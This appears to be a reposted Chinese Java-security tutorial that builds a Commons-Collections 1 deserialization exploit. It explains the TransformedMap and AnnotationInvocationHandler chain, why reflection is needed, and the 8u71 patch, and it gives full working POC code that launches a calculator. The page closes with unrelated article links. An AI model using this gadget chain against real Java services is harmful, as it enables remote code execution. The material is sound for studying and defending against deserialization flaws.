java安全(八)TransformedMap构造POC

给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!

上一篇构造了一个了commons-collections的demo
【传送门】

package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\WINDOWS\\system32\\calc.exe"}),};Transformer transformerChain = newChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);outerMap.put("test", "xxxx");}
}

了解了Transformer,接下来尝试构建poc

AnnotationInvocationHandler

这个漏洞核心,是想Map中加一个新的元素,在demo中,我们通过手工执行 outerMap.put(“test”, “xxxx”); 来出发漏洞。但是在实际反序列化中,还需要有一个雷,使他在反序列化readObject中有类似写入的操作

就是:sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler的 readObject方法:

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject()// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null; try {annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in 
annotation serial stream"); 
}Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : 
memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( New AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } 
} 

核心逻辑:Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…)

memberValues 就是反序列化后得到的Map,也是经过了TransformeMap 修饰的对象,这里遍历了他所有的元素,并以此设置值,在调用setValue设置时,会触发TransformedMap里注册的Transform ,然后继续执行我们设计的任意代码。

故在构造poc时,需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置尽量

Class clazz = 
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); 
Object obj = construct.newInstance(Retention.class, outerMap);

这里的sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我们使用反射获取他的构造方法,并将他设置成外部可见的,在调用就可以实例化了。

AnnotationInvocationHandler类的构造函数有两个参数: Annotation类 和 前面构造的Map。

使用反射的原因:

上一篇构造了 AnnotationInvocationHandler对象, 他就是我们反序列化利用链的七点,我们通过如下代码将这个对象生成序列化流

ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
ObjectOutputStream oos = new ObjectOutputStream(barr); 
oos.writeObject(obj); 
oos.close();

在这里插入图片描述
在writeObject的时候出现异常: java.io.NotSerializableException: java.lang.Runtime 。

因为,java 中并非所有对象都支持序列化,待序列化的对象和所有他使用的内部属性对象,必须都实现 java.io.Serializable接口。
而我们最早传给 ConstantTransformer的事 Runtime.getRuntime(), Runtime 类是没有实现 java.io.Serializable接口,所有不允许被序列化。
那么,就需要通过反射的方式,获取当前上下文中的Runtime的对象,而不需要直接使用这个类

Method f = Runtime.class.getMethod("getRuntime"); 
Runtime r = (Runtime) f.invoke(null); 
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); 

转换成Transformer写法:

Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { 				"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "C:\WINDOWS\system32\calc.exe" }), 
}; 

其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所
以可以被序列化。

为什么仍然无法触发漏洞?

修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列
化时仍然没弹出计算器,这是为什么呢?

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给
出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
    Annotation的子类,且其中必须含有至少一个方法,假设方法名是X 2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
    所以,这也解释了为什么我前面用到 Retention.class ,因为Retention有一个方法,名为value;所
    以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:
innerMap.put("value", "xxxx");

为什么Java高版本无法利用?

但是这段poc有局限性,我们的环境是java 8u71 以前的,在8u71后2015年12越时,Java
官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://h
g.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d在这里插入图片描述

对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接
使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执
行set或put操作,也就不会触发RCE了。

我们这一章将上一章给出的demo扩展成为了一个真实可利用的POC,完整代码如下:

package org.vulhub.Ser; import org.apache.commons.collections.Transformer; 
import org.apache.commons.collections.functors.ChainedTransformer; 
import org.apache.commons.collections.functors.ConstantTransformer; 
import org.apache.commons.collections.functors.InvokerTransformer; 
import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.annotation.Retention; 
import java.lang.reflect.Constructor; 
import java.lang.reflect.InvocationHandler; 
import java.util.HashMap; 
import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { 
String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] 
}), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { 
"C:\WINDOWS\system32\calc.exe" }), };Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, 
transformerChain); Class clazz = 
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, 
Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) 
construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new 
ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } 
}

但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于
sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用,原因前文也说
了。

看ysoserial就没有使用这个TransformeMap,而是使用了LazyMap。

即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在
sun.reflect.annotation.AnnotationInvocationHandler 这个类的修改上

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532538.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pytorch Tutorial 使用torch.autograd进行自动微分

Pytorch Tutorial 使用torch.autograd进行自动微分 本文翻译自 PyTorch 官网教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在训练神经网络时&#xff0c;最常使用…

TVM:编译深度学习模型快速上手教程

TVM&#xff1a;编译深度学习模型快速上手教程 本文将展示如何使用 Relay python 前端构建一个神经网络&#xff0c;并使用 TVM 为 Nvidia GPU 生成一个运行时库。 注意我们需要再构建 TVM 时启用了 cuda 和 llvm。 TVM支持的硬件后端总览 在本教程中&#xff0c;我们使用 cu…

TVM:设计与架构

TVM&#xff1a;设计与架构 本文档适用于想要了解 TVM 架构和/或积极开发项目的开发人员。页面组织如下&#xff1a; 示例编译流程概述了 TVM 将模型的高层描述转换为可部署模块所采取的步骤。要开始使用&#xff0c;请先阅读本节。 逻辑架构组件部分描述了逻辑组件。后面的部…

Nvidia CUDA初级教程4 GPU体系架构概述

Nvidia CUDA初级教程4 GPU体系架构概述 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 讲师&#xff1a;周斌 本节内容&#xff1a; 为什么需要GPU三种方法提升GPU的处理速度实际GPU的设计举例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初级教程5 CUDA/GPU编程模型

Nvidia CUDA初级教程5 CUDA/GPU编程模型 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 讲师&#xff1a;周斌 本节内容&#xff1a; CPU和GPU互动模式GPU线程组织模型&#xff08;需要不停强化&#xff09;GPU存储模型基本的编程问题 CPU与GPU交互 各自…

Nvidia CUDA初级教程6 CUDA编程一

Nvidia CUDA初级教程6 CUDA编程一 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 讲师&#xff1a;周斌 GPU架构概览 GPU特别使用于&#xff1a; 密集计算&#xff0c;高度可并行计算图形学 晶体管主要被用于&#xff1a; 执行计算而不是 缓存数据控制指令…

由前中后遍历序列构建二叉树

由前/中/后遍历序列构建二叉树 基础 首先&#xff0c;我们需要知道前中后序三种深度优先遍历二叉树的方式的具体顺序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 另外&#xff0c;要知道只有中序前/后序可以唯一确定一棵二叉树&…

目标检测综述

目标检测综述 转自&#xff1a;https://zhuanlan.zhihu.com/p/383616728 论文参考&#xff1a;[Object Detection in 20 Years: A Survey][https://arxiv.org/abs/1905.05055] 引言 目标检测领域发展至今已有二十余载&#xff0c;从早期的传统方法到如今的深度学习方法&#x…

Nvidia CUDA初级教程7 CUDA编程二

Nvidia CUDA初级教程7 CUDA编程二 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p8 讲师&#xff1a;周斌 本节内容&#xff1a; 内置类型和函数 Built-ins and functions线程同步 Synchronizing线程调度 Scheduling threads存储模型 Memory model重访 Matr…

详解优酷视频质量评价体系

万字长文 | 详解优酷视频质量评价体系 分享嘉宾&#xff5c;李静博士&#xff0c;阿里巴巴文娱集团资深算法专家&#xff0c;阿里巴巴大文娱摩酷实验室视频体验与质量团队负责人 整理出品&#xff5c;AICUG人工智能社区 本文地址&#xff1a;https://www.6aiq.com/article/1617…

视频质量评价:挑战与机遇

视频质量评价&#xff1a;挑战与机遇 转自&#xff1a;https://zhuanlan.zhihu.com/p/384603663 本文整理自鹏城实验室助理研究员王海强在LiveVideoStack线上分享上的演讲。他通过自身的实践经验&#xff0c;详细讲解了视频质量评价的挑战与机遇。 文 / 王海强 整理 / LiveVi…

关于二分法的边界问题及两种写法

关于二分法的边界问题及两种写法 二分查找法大家很熟悉了&#xff0c;对于一个有序序列&#xff0c;我们可以通过二分查找法在 O(logN)O(logN)O(logN) 的时间内找到想要的元素。但是&#xff0c;在代码实现的过程中&#xff0c;如果没有仔细理解清楚&#xff0c;二分法的边界条…

Segmentaion标签的三种表示:poly、mask、rle

Segmentaion标签的三种表示&#xff1a;poly、mask、rle 不同于图像分类这样比较简单直接的计算机视觉任务&#xff0c;图像分割任务&#xff08;又分为语义分割、实例分割、全景分割&#xff09;的标签形式稍为复杂。在分割任务中&#xff0c;我们需要在像素级上表达的是一张…

Ubuntu PPA 使用指南

Ubuntu PPA 使用指南 转自&#xff1a;https://zhuanlan.zhihu.com/p/55250294 一篇涵盖了在 Ubuntu 和其他 Linux 发行版中使用 PPA 的几乎所有问题的深入的文章。 如果你一直在使用 Ubuntu 或基于 Ubuntu 的其他 Linux 发行版&#xff0c;例如 Linux Mint、Linux Lite、Zorin…

杨宏宇:腾讯多模态内容理解技术及应用

杨宏宇&#xff1a;腾讯多模态内容理解技术及应用 分享嘉宾&#xff1a;杨宇鸿 腾讯 内容理解高级工程师 编辑整理&#xff1a;吴祺尧 出品平台&#xff1a;DataFunTalk 导读&#xff1a; 搜索内容的理解贯穿了整个搜索系统。我们需要从多个粒度理解搜索内容&#xff0c;包括语…

CUDA环境详解

CUDA环境详解 本文主要介绍 CUDA 环境&#xff0c;这一堆东西网上有很多博客介绍过了&#xff0c;我再来一篇:)&#xff0c;参考前辈们的文章&#xff0c;看能不能写的更清楚一点。读后仍有问题&#xff0c;欢迎留言交流。 CUDA APIs CUDA是由NVIDIA推出的通用并行计算架构&…

对Docker镜像layer的理解

对Docker镜像layer的理解 转自&#xff1a;https://blog.csdn.net/u011069294/article/details/105583522 FROM python:3.6.1-alpine RUN pip install flask CMD [“python”,“app.py”] COPY app.py /app.py上面是一个Dockerfile的例子&#xff0c;每一行都会生成一个新的l…

机器学习系统:设计与实现 计算图

机器学习系统:设计与实现 计算图 转自&#xff1a;https://openmlsys.github.io/chapter_computational_graph/index.html 在上一章节中&#xff0c;我们展示了用户利用机器学习框架所编写的程序。这些用户程序包含了对于训练数据&#xff0c;模型和训练过程的定义。然而为了…

常见浮点数格式梳理

常见浮点数格式梳理 IEEE 754 标准 浮点数转换网站&#xff1a;https://www.h-schmidt.net/FloatConverter/IEEE754.html IEEE二进制浮点数算术标准&#xff0c;为许多CPU与浮点运算器所采用。这个标准定义了表示浮点数的格式&#xff08;包括负零-0&#xff09;与反常值&am…

混合精度训练

混合精度训练 转自&#xff1a;https://zhuanlan.zhihu.com/p/441591808 通常我们训练神经网络模型的时候默认使用的数据类型为单精度FP32。近年来&#xff0c;为了加快训练时间、减少网络训练时候所占用的内存&#xff0c;并且保存训练出来的模型精度持平的条件下&#xff0…